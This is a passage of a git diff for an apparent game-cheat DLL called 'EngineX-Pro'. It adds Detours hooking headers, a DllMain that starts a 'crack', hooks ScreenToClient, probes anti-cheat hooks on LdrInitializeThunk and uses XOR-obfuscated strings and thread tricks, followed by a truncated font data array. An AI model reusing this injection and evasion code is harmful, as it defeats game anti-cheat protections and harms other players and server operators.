PDETOUR_CREATE_PROCESS_ROUTINEA + pfCreateProcessA); + +BOOL WINAPI DetourCreateProcessWithDllW(LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation, + LPCWSTR lpDllName, + PDETOUR_CREATE_PROCESS_ROUTINEW + pfCreateProcessW); + +#ifdef UNICODE +#define DetourCreateProcessWithDll DetourCreateProcessWithDllW +#define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEW +#else +#define DetourCreateProcessWithDll DetourCreateProcessWithDllA +#define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEA +#endif // !UNICODE + +BOOL WINAPI DetourContinueProcessWithDllA(HANDLE hProcess, LPCSTR lpDllName); +BOOL WINAPI DetourContinueProcessWithDllW(HANDLE hProcess, LPCWSTR lpDllName); + +#ifdef UNICODE +#define DetourContinueProcessWithDll DetourContinueProcessWithDllW +#else +#define DetourContinueProcessWithDll DetourContinueProcessWithDllA +#endif // !UNICODE +// +////////////////////////////////////////////////////////////////////////////// +#ifdef __cplusplus +} +#endif // __cplusplus + +/////////////////////////////////////////////////////////////////// Old Names. +// +#define ContinueProcessWithDll DetourContinueProcessWithDll +#define ContinueProcessWithDllA DetourContinueProcessWithDllA +#define ContinueProcessWithDllW DetourContinueProcessWithDllW +#define CreateProcessWithDll DetourCreateProcessWithDll +#define CreateProcessWithDllA DetourCreateProcessWithDllA +#define CreateProcessWithDllW DetourCreateProcessWithDllW +#define DETOUR_TRAMPOLINE_WO_TARGET DETOUR_TRAMPOLINE_EMPTY +#define DetourBinaryPurgePayload DetourBinaryPurgePayloads +#define DetourEnumerateExportsForInstance DetourEnumerateExports +#define DetourEnumerateInstances DetourEnumerateModules +#define DetourFindEntryPointForInstance DetourGetEntryPoint +#define DetourFindFinalCode DetourGetFinalCode +#define DetourFindPayloadInBinary DetourFindPayload +#define DetourGetSizeOfBinary DetourGetSizeOfPayloads +#define DetourRemoveWithTrampoline DetourRemove +#define PCREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINE +#define PCREATE_PROCESS_ROUTINEA PDETOUR_CREATE_PROCESS_ROUTINEA +#define PCREATE_PROCESS_ROUTINEW PDETOUR_CREATE_PROCESS_ROUTINEW +// + +//////////////////////////////////////////////// Detours Internal Definitions. +// +#ifdef __cplusplus +#ifdef DETOURS_INTERNAL + +////////////////////////////////////////////////////////////////////////////// +// +#ifdef IMAGEAPI // defined by IMAGEHLP.H +typedef LPAPI_VERSION (NTAPI *PF_ImagehlpApiVersionEx)(LPAPI_VERSION AppVersion); + +typedef BOOL (NTAPI *PF_SymInitialize)(IN HANDLE hProcess, + IN LPSTR UserSearchPath, + IN BOOL fInvadeProcess); +typedef DWORD (NTAPI *PF_SymSetOptions)(IN DWORD SymOptions); +typedef DWORD (NTAPI *PF_SymGetOptions)(VOID); +typedef BOOL (NTAPI *PF_SymLoadModule)(IN HANDLE hProcess, + IN HANDLE hFile, + IN PSTR ImageName, + IN PSTR ModuleName, + IN DWORD BaseOfDll, + IN DWORD SizeOfDll); +typedef BOOL (NTAPI *PF_SymGetModuleInfo)(IN HANDLE hProcess, + IN DWORD dwAddr, + OUT PIMAGEHLP_MODULE ModuleInfo); +typedef BOOL (NTAPI *PF_SymGetSymFromName)(IN HANDLE hProcess, + IN LPSTR Name, + OUT PIMAGEHLP_SYMBOL Symbol); +typedef BOOL (NTAPI *PF_BindImage)(IN LPSTR pszImageName, + IN LPSTR pszDllPath, + IN LPSTR pszSymbolPath); + +typedef struct _DETOUR_SYM_INFO +{ + HANDLE hProcess; + HMODULE hImageHlp; + PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx; + PF_SymInitialize pfSymInitialize; + PF_SymSetOptions pfSymSetOptions; + PF_SymGetOptions pfSymGetOptions; + PF_SymLoadModule pfSymLoadModule; + PF_SymGetModuleInfo pfSymGetModuleInfo; + PF_SymGetSymFromName pfSymGetSymFromName; + PF_BindImage pfBindImage; +} DETOUR_SYM_INFO, *PDETOUR_SYM_INFO; + +PDETOUR_SYM_INFO DetourLoadImageHlp(VOID); + +#endif // IMAGEAPI + +////////////////////////////////////////////////////////////////////////////// +// +class CDetourEnableWriteOnCodePage +{ +public: + CDetourEnableWriteOnCodePage(PBYTE pbCode, LONG cbCode = DETOUR_TRAMPOLINE_SIZE) + { + m_pbCode = pbCode; + m_cbCode = cbCode; + m_dwOldPerm = 0; + m_hProcess = GetCurrentProcess(); + + if (m_pbCode && m_cbCode) { + if (!FlushInstructionCache(m_hProcess, pbCode, cbCode)) { + return; + } + if (!VirtualProtect(pbCode, + cbCode, + PAGE_EXECUTE_READWRITE, + &m_dwOldPerm)) { + return; + } + } + } + + ~CDetourEnableWriteOnCodePage() + { + if (m_dwOldPerm && m_pbCode && m_cbCode) { + DWORD dwTemp = 0; + if (!FlushInstructionCache(m_hProcess, m_pbCode, m_cbCode)) { + return; + } + if (!VirtualProtect(m_pbCode, m_cbCode, m_dwOldPerm, &dwTemp)) { + return; + } + } + } + + BOOL SetPermission(DWORD dwPerms) + { + if (m_dwOldPerm && m_pbCode && m_cbCode) { + m_dwOldPerm = dwPerms; + return TRUE; + } + return FALSE; + } + + BOOL IsValid(VOID) + { + return m_pbCode && m_cbCode && m_dwOldPerm; + } + +private: + HANDLE m_hProcess; + PBYTE m_pbCode; + LONG m_cbCode; + DWORD m_dwOldPerm; +}; + +////////////////////////////////////////////////////////////////////////////// +// +inline PBYTE DetourGenMovEax(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xB8; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEbx(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBB; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEcx(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xB9; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEdx(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBA; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEsi(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBE; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEdi(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBF; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEbp(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBD; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenMovEsp(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0xBC; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenPush(PBYTE pbCode, UINT32 nValue) +{ + *pbCode++ = 0x68; + *((UINT32*&)pbCode)++ = nValue; + return pbCode; +} + +inline PBYTE DetourGenPushad(PBYTE pbCode) +{ + *pbCode++ = 0x60; + return pbCode; +} + +inline PBYTE DetourGenPopad(PBYTE pbCode) +{ + *pbCode++ = 0x61; + return pbCode; +} + +inline PBYTE DetourGenJmp(PBYTE pbCode, PBYTE pbJmpDst, PBYTE pbJmpSrc = 0) +{ + if (pbJmpSrc == 0) { + pbJmpSrc = pbCode; + } + *pbCode++ = 0xE9; + *((INT32*&)pbCode)++ = pbJmpDst - (pbJmpSrc + 5); + return pbCode; +} + +inline PBYTE DetourGenCall(PBYTE pbCode, PBYTE pbJmpDst, PBYTE pbJmpSrc = 0) +{ + if (pbJmpSrc == 0) { + pbJmpSrc = pbCode; + } + *pbCode++ = 0xE8; + *((INT32*&)pbCode)++ = pbJmpDst - (pbJmpSrc + 5); + return pbCode; +} + +inline PBYTE DetourGenBreak(PBYTE pbCode) +{ + *pbCode++ = 0xcc; + return pbCode; +} + +inline PBYTE DetourGenRet(PBYTE pbCode) +{ + *pbCode++ = 0xc3; + return pbCode; +} + +inline PBYTE DetourGenNop(PBYTE pbCode) +{ + *pbCode++ = 0x90; + return pbCode; +} +#endif DETOURS_INTERAL +#endif // __cplusplus + +#endif // _DETOURS_H_ +// +//////////////////////////////////////////////////////////////// End of File. diff --git a/EngineX-Pro/detours.lib b/EngineX-Pro/detours.lib new file mode 100644 index 0000000..56c6a8d Binary files /dev/null and b/EngineX-Pro/detours.lib differ diff --git a/EngineX-Pro/dllmain.cpp b/EngineX-Pro/dllmain.cpp new file mode 100644 index 0000000..0d42303 --- /dev/null +++ b/EngineX-Pro/dllmain.cpp @@ -0,0 +1,164 @@ +#include "stdafx.h" +#include "CheckHook.h" +//#include "C:\Program Files\VMProtect Lite\Include\C\VMProtectSDK.h" + +extern "C" __declspec(dllexport) int dsf75sddc5s4d65c(void) { + return true; +} + +void ErrorTranslator(unsigned int exceptionCode, PEXCEPTION_POINTERS exceptionRecord) +{ + switch (exceptionRecord->ExceptionRecord->ExceptionCode) + { + case EXCEPTION_ACCESS_VIOLATION: + { + break; + } + default: + { + throw "1"; + } + } +} + +VEHHook sleepHook; +void __stdcall NewSleep(DWORD miliseconds) +{ + Hooks::screenToClientHwBpHook = std::make_shared((char*)&ScreenToClient, (char*)&Hooks::NewScreenToClient, GetCurrentThread()); + Hooks::screenToClientHwBpHook->hook(); + //Security::Initialize(); + sleepHook.Unhook(); +} +void threadHookCheck() +{ + auto bypassXd = LI_FN(GetProcAddress)(LI_FN(GetModuleHandleA)(XOR("ntdll.dll")), XOR("LdrInitializeThunk")); + + if (!bypassXd == NULL) + { + printf("offset: %i\n", bypassXd); + while (true) + { + + if (FindHookDestination(bypassXd) == NULL) + { + + printf(XOR("hook LdrInitializeThunk not exist\n")); + + } + else { + printf(XOR("hook LdrInitializeThunk exist\n")); + + + + } + } + } +} + +void Initialize() +{ + while (!MainCore::isInitialized) + { + MainCore::Initialize(); + } +} + +LPVOID LM_CreateFakeThread(LPVOID Thread) +{ + DWORD ThreadAdresi = 0x40000/*your fake adress xD*/; + DWORD Old; + VirtualProtect((LPVOID)ThreadAdresi, 0x100, PAGE_EXECUTE_READWRITE, &Old); + CONTEXT ctx; + HANDLE tHand = CreateRemoteThread(GetCurrentProcess(), 0, 0, (LPTHREAD_START_ROUTINE)ThreadAdresi, 0, 0, 0); + SuspendThread(tHand); + ctx.ContextFlags = CONTEXT_INTEGER; + GetThreadContext(tHand, &ctx); + ctx.Eax = (DWORD)Thread; + ctx.ContextFlags = CONTEXT_INTEGER; + SetThreadContext(tHand, &ctx); + ResumeThread(tHand); + return (LPVOID)ctx.Eax; +} + + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + switch (ul_reason_for_call) + { + + case DLL_PROCESS_ATTACH: + { + //HANDLE xd = NULL; + + // LM_CreateFakeThread(xd); + + DisableThreadLibraryCalls(hModule); +#ifdef DEVELOPER_MODE + if (Globals::Server != ServerName::AELDRA) + { +#ifdef _DEBUG + _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); +#endif + //AllocConsole(); + //freopen(XOR("CONOUT$"), "w", stdout); + } +#endif + // HANDLE xd = ProcessExtension::CreateThreadSafe((LPTHREAD_START_ROUTINE)&threadHookCheck, hModule); + _set_se_translator(ErrorTranslator); + + Globals::hModule = hModule; + MainCore::StartCrack(); + + + + /*HANDLE hThread = nullptr; + NTSTATUS ret = SYSCALL(0xBB, 11, &hThread, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)&Initialize, 0, 0, 0, 0, 0, 0); + if (ret != 0 || hThread == nullptr) + { + MessageBoxA(0, "error!", 0, 0); + } + CloseHandle(hThread);*/ + + HANDLE hThreadInit = ProcessExtension::CreateThreadSafe((LPTHREAD_START_ROUTINE)&Initialize, hModule); + if (hThreadInit) + { + + CloseHandle(hThreadInit); + } + + //HANDLE hThread = nullptr; + //NTSTATUS ret = SYSCALL(0xBB, 11, &hThread, THREAD_ALL_ACCESS, 0, (HANDLE)-1, (LPTHREAD_START_ROUTINE)&Initialize, 0, 0, 0, 0, 0, 0); + //if (ret != 0 || hThread == nullptr) + //{ + // MessageBoxA(0, "error!", 0, 0); + //} + //CloseHandle(hThread); + + if (Globals::Server == ServerName::METINPL) + { + + HANDLE hThreadInit = ProcessExtension::CreateThreadSafe((LPTHREAD_START_ROUTINE)&Initialize, hModule); + + if (hThreadInit) + { + + CloseHandle(hThreadInit); + } + } + else + { + //sleepHook.Hook((uintptr_t)Sleep, (uintptr_t)NewSleep); + } + } + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + { + + } + case DLL_PROCESS_DETACH: + + break; + } + return TRUE; + +} \ No newline at end of file diff --git a/EngineX-Pro/fontawesome.h b/EngineX-Pro/fontawesome.h new file mode 100644 index 0000000..9163069 --- /dev/null +++ b/EngineX-Pro/fontawesome.h @@ -0,0 +1,3019 @@ +// File: 'fontawesome.ttf' (203980 bytes) +// Exported using binary_to_compressed_c.cpp +#pragma once +static const unsigned int FontAwesome_compressed_size = 144481; +static const unsigned int FontAwesome_compressed_data[144484 / 4] = +{ + 0x0000bc57, 0x00000000, 0xcc1c0300, 0x00000400, 0x00010037, 0x000d0000, 0x00030080, 0x54464650, 0xcb54914d, 0x1c030024, 0x281582b0, 0x4544471c, + 0x032a0046, 0x200f82f0, 0x2c0f8290, 0x2f534f1e, 0x56873332, 0x01000060, 0x2b0f8258, 0x616d6360, 0x03750870, 0x110000cd, 0x0c271382, 0x736167c6, + 0x82ffff70, 0x1c032249, 0x371f8288, 0x796c6708, 0xea238e66, 0x2d000042, 0xb80200d4, 0x61656870, 0x50541964, 0x00212b82, 0x211f82dc, 0x10826836, + 0x06430423, 0x204f822b, 0x280f8214, 0x746d6824, 0x03d1c078, 0x300f820b, 0x0f0000b8, 0x636f6ca8, 0x6b080561, 0x1e000068, 0x270f8228, 0x78616dac, + 0x014c0470, 0x01213f82, 0x082f8238, 0x616e2020, 0xac22656d, 0x02002626, 0x000044e6, 0x6f702b05, 0x1f557473, 0x0200ecca, 0x000070eb, 0xdb831831, + 0x434b012f, 0x63493a95, 0x3c0f5f13, 0x020b00f5, 0x23008300, 0x21e634db, 0x2b270786, 0xb4ffecff, 0x82019502, 0x080023c3, 0x31830200, 0x012c1982, + 0xc0010000, 0x0000c0ff, 0xecff8002, 0x95200582, 0x1a821786, 0x03210285, 0x251183ea, 0x5d01ea03, 0x11842000, 0x82000221, 0x20258432, 0x83098240, + 0x01042602, 0x008403fb, 0x22168205, 0x8266014c, 0x01472110, 0xf5250785, 0x84001900, 0x216a8200, 0x15820305, 0x50290292, 0x00644566, 0xf805e080, + 0x248384ff, 0x00cc012e, 0x20268254, 0x24038201, 0x013a0100, 0x240782a5, 0x02010020, 0x20008600, 0x824b83aa, 0x86802003, 0x82002003, 0x82002007, + 0x20878203, 0x22138302, 0x84200040, 0x880b8307, 0xfdff2223, 0x85238b02, 0x22ed8227, 0x82010000, 0x2303830b, 0x0f000002, 0x00200382, 0x01270383, + 0x020d00c0, 0x8cfbff80, 0x82002047, 0xff802263, 0x201384fa, 0x831b8200, 0x2703840f, 0x4002feff, 0xc0010f00, 0x13881f82, 0x01210b89, 0x20178c60, + 0x263f8207, 0x00000218, 0x84400210, 0x02082417, 0x88fcff40, 0x0000229b, 0x20838a07, 0x200b8200, 0x828f8408, 0x860120e3, 0x82678cb3, 0x840f8313, + 0x8423821b, 0x2487822b, 0x12008001, 0x825f8301, 0x831f8403, 0x88038a13, 0x20138227, 0x20878502, 0x20438600, 0x85af8408, 0x8b402037, 0x8a47878b, + 0x01402413, 0x82f8ffc0, 0x831b2067, 0x83ab8603, 0x20038faf, 0x8a1b8300, 0x82052087, 0x8b05200b, 0x821b8783, 0x86132013, 0x02002547, 0x01feff40, + 0x820aa741, 0x82f9200f, 0x83ff2003, 0x0002272b, 0x00020000, 0x4386ffff, 0x80234f85, 0x86020300, 0x200788cb, 0x82278300, 0xff802203, 0x823b83fb, + 0x880f2017, 0x20438553, 0x204782fd, 0x417f88fd, 0x3f84062f, 0xff214b84, 0x42ef88fe, 0xdf8c0927, 0x41f00121, 0xcb410bdf, 0x42002006, 0x37830a9b, + 0xf5ffc022, 0x0020ff8a, 0x5f850b8b, 0x83059f42, 0x420f8517, 0x012309df, 0x83070040, 0xc0002303, 0x03821700, 0xf3840020, 0x0d004023, 0x88038601, + 0x0000232f, 0x03430100, 0xffff2108, 0x60206384, 0xc0201382, 0x5f849f89, 0xfaff8022, 0x47430785, 0x209b8e09, 0x200f8218, 0x844b8318, 0x00002303, + 0x03830118, 0x5f845b82, 0x33846386, 0x8a063b42, 0x01082283, 0x867382f0, 0x82022003, 0x08e742fb, 0x80220b83, 0x0f85fbff, 0x20052741, 0x20138301, + 0x232f8200, 0x00180080, 0x0382a782, 0x82021021, 0x8203880f, 0x6001215f, 0xb386a782, 0x41c00121, 0x6b4205f3, 0x86402010, 0x058b41ef, 0x47820820, + 0x7742c383, 0x8300200f, 0x829f847b, 0x86f3886b, 0x200123d7, 0xef84fdff, 0x13008023, 0x83b78601, 0x22038407, 0x82feffc0, 0x02fe237b, 0x0384ff00, + 0x0f850b83, 0x23054341, 0x05000001, 0x0221bf83, 0x200f8400, 0x14c3431b, 0x8f41ff84, 0x44102008, 0x0020085b, 0x01201385, 0x00201f83, 0x20051741, + 0x21478402, 0xe342fdff, 0xff802208, 0x82af84fc, 0x9a8f8423, 0x061b4107, 0x20074744, 0x200f8208, 0x203b8210, 0x0cf34320, 0x00205f84, 0x00201b83, + 0x67431784, 0x0c23420a, 0x23840020, 0x4b422789, 0x42202007, 0x274305af, 0x203f8308, 0x05874500, 0x23830120, 0x8f454020, 0x200f8409, 0x07b74180, + 0x01ffff23, 0x82ef8220, 0x2007882f, 0x099f42e0, 0x37820220, 0x1b870120, 0x23841782, 0x02202f82, 0x41074f43, 0xc3420a43, 0x41138608, 0x0120074f, + 0x8b864383, 0xb3874f84, 0x21123341, 0x8b820002, 0xe343c020, 0x063b4406, 0x2006db41, 0x204f84fd, 0x83ff8200, 0x133f4537, 0xff219784, 0x846383fa, + 0x8200209f, 0x2003822b, 0x872b8201, 0x204b8277, 0x211b82fd, 0x43820108, 0x80226b84, 0x5786f5ff, 0x80020026, 0x0002fbff, 0x2305d741, 0xf9ff4002, + 0x3f881787, 0x9b82f020, 0xcf863783, 0x12470120, 0x20078706, 0x0aef4502, 0x850c3343, 0x825b82d3, 0x00a0213f, 0x84080343, 0x00c02187, 0x420b5f43, + 0x5f820523, 0x21056742, 0x0783ffff, 0x0d205f82, 0x03848383, 0x85000021, 0x82bf870b, 0x107b430f, 0x4106bf42, 0x53820ca3, 0xff400123, 0x410383fe, + 0x602008d3, 0x230a9f44, 0x01faff80, 0x02235386, 0x87100000, 0x0a4b41f3, 0xc0010022, 0xc0202382, 0x45094b44, 0x01200767, 0x8208a741, 0x8843821b, + 0x0607420f, 0x01202783, 0x0020f785, 0x47086b41, 0x538206a7, 0x1388fe20, 0xeb434787, 0x881f830e, 0x201b828f, 0x06ff4101, 0x2f830220, 0x0b833386, + 0x3b92bf84, 0x2009d743, 0x074342ff, 0xe0010023, 0x837785ff, 0x0000212f, 0x80209785, 0x20056f41, 0x08534802, 0x00201782, 0x67871382, 0x820a4343, + 0x05874623, 0x47828020, 0xfeff4022, 0x260a0745, 0x00000200, 0x8af00100, 0x82638353, 0x20012353, 0x3782fcff, 0x8409eb45, 0x0a574617, 0x0b93c020, + 0x4305df48, 0x3b49105b, 0x0c5b490f, 0x53857f8b, 0x82083f42, 0x430b8f63, 0x1b8208a7, 0x57870220, 0x01200786, 0x2f44df82, 0x0b5b4108, 0x9f85ab88, + 0xab414387, 0xff002208, 0x866784f8, 0x089b4197, 0x02204f82, 0x93475b87, 0x2017840e, 0x22af8200, 0x43f5ff68, 0x8744058b, 0xff80220a, 0x085742ff, + 0x1782f020, 0xe3824020, 0x9f838382, 0x0120bf8b, 0x2109c342, 0x67840200, 0x460bbf45, 0xa384051b, 0x420b2348, 0x67460a77, 0x00022107, 0x4b825f82, + 0x13874f83, 0x53840784, 0xff234783, 0x824002ff, 0x20478293, 0x214b8401, 0x6747fbff, 0x200b900b, 0x093743f8, 0x1f420220, 0x8327900a, 0x218f86d3, + 0x67820002, 0x03822020, 0x880aeb41, 0x874f8a2f, 0x43d78313, 0x9f820913, 0xfeff0022, 0xcb822f88, 0xdb464f84, 0x210b8706, 0x27820002, 0x80201b83, + 0x0782cb82, 0x80224b8c, 0xc742faff, 0x21938408, 0x3788f5ff, 0xfcff1823, 0x442f8601, 0x33860c67, 0xffc00123, 0x208f84f6, 0x82bf8300, 0x8220202b, + 0xff802203, 0x831782fd, 0x88ed2003, 0x2057821b, 0x076f4601, 0xc3888382, 0x9f43a787, 0x0b2f420b, 0x01210b82, 0x82bb87e0, 0x82802063, 0x0f0343eb, + 0x42062342, 0x3382089b, 0x13830220, 0x840f2342, 0x103f4c57, 0x22090345, 0x84f4ff00, 0x8c3b82e3, 0x44ff874b, 0xef42068f, 0x0c7b4c0c, 0x23076349, + 0xd0010000, 0x850ac34c, 0x05334b77, 0x460ad342, 0xff220977, 0x738602fd, 0x0120eb83, 0x40245383, 0x80022000, 0x8206eb47, 0x8301203f, 0x2003867b, + 0x202b8602, 0x41178602, 0x4020084b, 0x2206db45, 0x88f2ff80, 0xff8022bf, 0x232784fa, 0x020000a0, 0xff21bf84, 0x215782ff, 0x2b8202fa, 0x0b820382, + 0xc383ab82, 0x830f2b41, 0x205f8263, 0x07174502, 0x37418020, 0x201b820a, 0x84a38501, 0x0ceb4553, 0x1f834783, 0x8208ff43, 0x8347826f, 0x2033842f, + 0x05c74900, 0x20080344, 0x208f8440, 0x095b42ff, 0xff201f84, 0x22087346, 0x82200000, 0x83fc2083, 0x823f8587, 0x410020c7, 0x0123052f, 0x84f7ffc0, + 0x09f34adb, 0x1f842b82, 0x2f41f920, 0x83c02008, 0x06db45ff, 0x1b848020, 0x93856b82, 0x2787b783, 0xeb827f84, 0x87070f47, 0x080f4207, 0x3b830020, + 0xf5203f84, 0xaf843383, 0x9b830020, 0x80201382, 0x82053f46, 0x05ff4e33, 0x870a474b, 0x494f84f7, 0xcf8a0e43, 0x87419382, 0x4a27820a, 0xf74a09e7, + 0x0b9b420e, 0x9b438020, 0x49022005, 0x0023062b, 0x86030000, 0x001c2203, 0x24098201, 0x00bc0a00, 0x24098403, 0x0a04001c, 0x0aa582a0, 0x0002a4d4, + 0xa4000800, 0x41e005e0, 0x02f076e0, 0x0ef005f0, 0x15f013f0, 0x1cf019f0, 0x3ef01ef0, 0x4ef044f0, 0x5ef05bf0, 0x7cf06ef0, 0x86f080f0, 0x8df089f0, + 0x95f091f0, 0x9ef098f0, 0xaef0a1f0, 0xcef0b2f0, 0xdef0d1f0, 0xe3f0e0f0, 0xf4f0ebf0, 0x0bf1fef0, 0x11f10ef1, 0x1ef11cf1, 0x2ef122f1, 0x35f131f1, + 0x3ef13af1, 0x46f144f1, 0x4ef14bf1, 0x5ef159f1, 0x83f165f1, 0x93f188f1, 0x97f195f1, 0x9df199f1, 0xb0f1aef1, 0xbbf1b3f1, 0xcef1c9f1, 0xdaf1d8f1, + 0xe6f1def1, 0xf6f1ecf1, 0x01f2fef1, 0x0bf207f2, 0x1ef218f2, 0x36f22df2, 0x49f239f2, 0x5df24ef2, 0x77f26cf2, 0x8bf27af2, 0x92f28df2, 0x9af295f2, + 0xa4f29ef2, 0xb6f2a8f2, 0xbbf2b9f2, 0xc2f2bdf2, 0xd2f2cef2, 0xe5f2dcf2, 0xeaf2e7f2, 0xf2f2edf2, 0xf9f2f6f2, 0x05f3fef2, 0x1ef30cf3, 0x38f328f3, + 0x5df35bf3, 0x62f360f3, 0xa5f382f3, 0xc1f3bff3, 0xc9f3c5f3, 0xd1f3cdf3, 0xe0f3ddf3, 0xedf3e5f3, 0xfdf3faf3, 0x06f4fff3, 0x22f410f4, 0x34f424f4, + 0x3af436f4, 0x3ff43cf4, 0x43f441f4, 0x47f445f4, 0x4ef44bf4, 0x53f450f4, 0x5df458f4, 0x62f45ff4, 0x6df466f4, 0x74f472f4, 0x7ff479f4, 0x87f482f4, + 0x8ef48bf4, 0x97f494f4, 0xadf49ef4, 0xbaf4b3f4, 0xc2f4bef4, 0xcef4c4f4, 0xdbf4d3f4, 0xe3f4dff4, 0x91f509f5, 0xa2f59df5, 0xb1f5a7f5, 0xb8f5b4f5, + 0xc5f5bdf5, 0xcef5cbf5, 0xd7f5d2f5, 0xdcf5daf5, 0xe1f5dff5, 0xe7f5e4f5, 0xeef5ebf5, 0x04f6fdf5, 0x13f610f6, 0x1ff619f6, 0x30f621f6, 0x3cf637f6, + 0x44f641f6, 0x4af647f6, 0x51f64ff6, 0x58f655f6, 0x62f65ef6, 0x6bf666f6, 0x6ff66df6, 0x76f674f6, 0x7cf679f6, 0x84f67ff6, 0x96f689f6, 0xa1f69bf6, + 0xa9f6a7f6, 0xb7f6adf6, 0xbef6bbf6, 0xc4f6c0f6, 0xd1f6cff6, 0xd5f6d3f6, 0xd9f6d7f6, 0xe3f6def6, 0xe8f6e6f6, 0xf2f6edf6, 0xfcf6faf6, 0x0cf700f7, + 0x15f70ef7, 0x1ef717f7, 0x29f722f7, 0x3df72ff7, 0x43f740f7, 0x4df747f7, 0x56f753f7, 0x5ff75bf7, 0x6bf769f7, 0x7df773f7, 0x84f781f7, 0x8cf788f7, + 0x96f794f7, 0xa0f79cf7, 0xa6f7a2f7, 0xaef7abf7, 0xbaf7b6f7, 0xc0f7bdf7, 0xc5f7c2f7, 0xcef7caf7, 0xd2f7d0f7, 0xe6f7daf7, 0xeff7ecf7, 0xf5f7f2f7, + 0xfbf7f7f7, 0x0df807f8, 0x12f810f8, 0x18f816f8, 0x2ff82af8, 0x4af83ef8, 0x50f84cf8, 0x63f853f8, 0x79f86df8, 0x82f87df8, 0x91f887f8, 0xc1f897f8, + 0xd9f8ccf8, 0xfffffff8, 0x05e00000, 0x59e041e0, 0x04f000f0, 0x10f007f0, 0x17f015f0, 0x1ef01cf0, 0x41f021f0, 0x50f048f0, 0x60f05ef0, 0x80f070f0, + 0xa54283f0, 0x93440806, 0x9cf098f0, 0xa3f0a0f0, 0xc0f0b0f0, 0xd6f0d0f0, 0xe2f0e0f0, 0xf0f0e7f0, 0x00f1f8f0, 0x10f10df1, 0x1ef118f1, 0x24f120f1, + 0x33f130f1, 0x3df137f1, 0x46f140f1, 0x4df14af1, 0x5bf150f1, 0x82f160f1, 0x91f185f1, 0x0806a542, 0xabf19c48, 0xb2f1b0f1, 0xc0f1b8f1, 0xd8f1cdf1, + 0xdcf1daf1, 0xeaf1e0f1, 0xf8f1f6f1, 0x04f200f2, 0x17f20af2, 0x21f21af2, 0x38f233f2, 0x4df240f2, 0x6cf251f2, 0x79f271f2, 0x8df28bf2, 0x95f290f2, + 0x9df29af2, 0xa7f2a0f2, 0xa542b5f2, 0xf2c12606, 0xf2d0f2c7, 0x08a542db, 0xf5f2f132, 0xfef2f9f2, 0x09f302f3, 0x28f31ef3, 0x58f337f3, 0x2406a542, + 0xf3a5f381, 0x20a542be, 0x36f43324, 0xa54239f4, 0xf45c3c16, 0xf461f45f, 0xf468f466, 0xf474f470, 0xf47df477, 0xf484f481, 0xf48df48b, 0x4296f490, + 0x2a0806a5, 0xf4bdf4b8, 0xf4c4f4c0, 0xf4d3f4cd, 0xf4def4d6, 0xf5faf4e2, 0xf593f515, 0xf5a4f59f, 0xf5b3f5aa, 0xf5baf5b6, 0xf5c7f5bf, 0x42d0f5cd, + 0xde2006a5, 0x200aa542, 0x0ca542fc, 0x37f62e24, 0xa5423bf6, 0xf6532a0c, 0xf65df658, 0xf664f662, 0x08a54269, 0x7bf6782e, 0x81f67ff6, 0x96f687f6, + 0xa0f698f6, 0x2006a542, 0x06a542b6, 0xa542c320, 0xf6dd360c, 0xf6e6f6e2, 0xf6ecf6e8, 0xf6faf6f0, 0xf7fff6fc, 0xf70ef70b, 0x06a54214, 0x2ef72824, + 0xa5423bf7, 0x5a3a080c, 0x69f75ef7, 0x72f76bf7, 0x80f77cf7, 0x86f783f7, 0x93f78cf7, 0x9cf796f7, 0xa2f79ff7, 0xa9f7a4f7, 0xb5f7adf7, 0xbdf7b9f7, + 0xc2f7bff7, 0xc9f7c4f7, 0xd0f7ccf7, 0xd7f7d2f7, 0xa542e4f7, 0xf8fa2e0a, 0xf80df805, 0xf812f80f, 0xf818f815, 0x12a54229, 0x81f87b2a, 0x91f884f8, + 0xc0f897f8, 0x0a07a542, 0x1ffe1fa4, 0x10ac1fc3, 0x10221023, 0x10201021, 0x101e101f, 0x101b101c, 0x10171019, 0x10131014, 0x10101011, 0x100c100f, + 0x1008100a, 0x10021005, 0x0fff0f01, 0x0ffb0ffc, 0x0ff90ffa, 0x0feb0fec, 0x0fe60fe7, 0x0fe20fe5, 0x0fdb0fde, 0x0fd90fda, 0x0fd20fd8, 0x0fd00fd1, + 0x0fce0fcf, 0x0fcc0fcd, 0x0fc90fca, 0x0fc50fc8, 0x0fc30fc4, 0x0fc10fc2, 0x0fa40fa5, 0x0f9b0f9c, 0x0f990f9a, 0x0f8a0f97, 0x0f880f89, 0x0f800f84, + 0x0f740f7d, 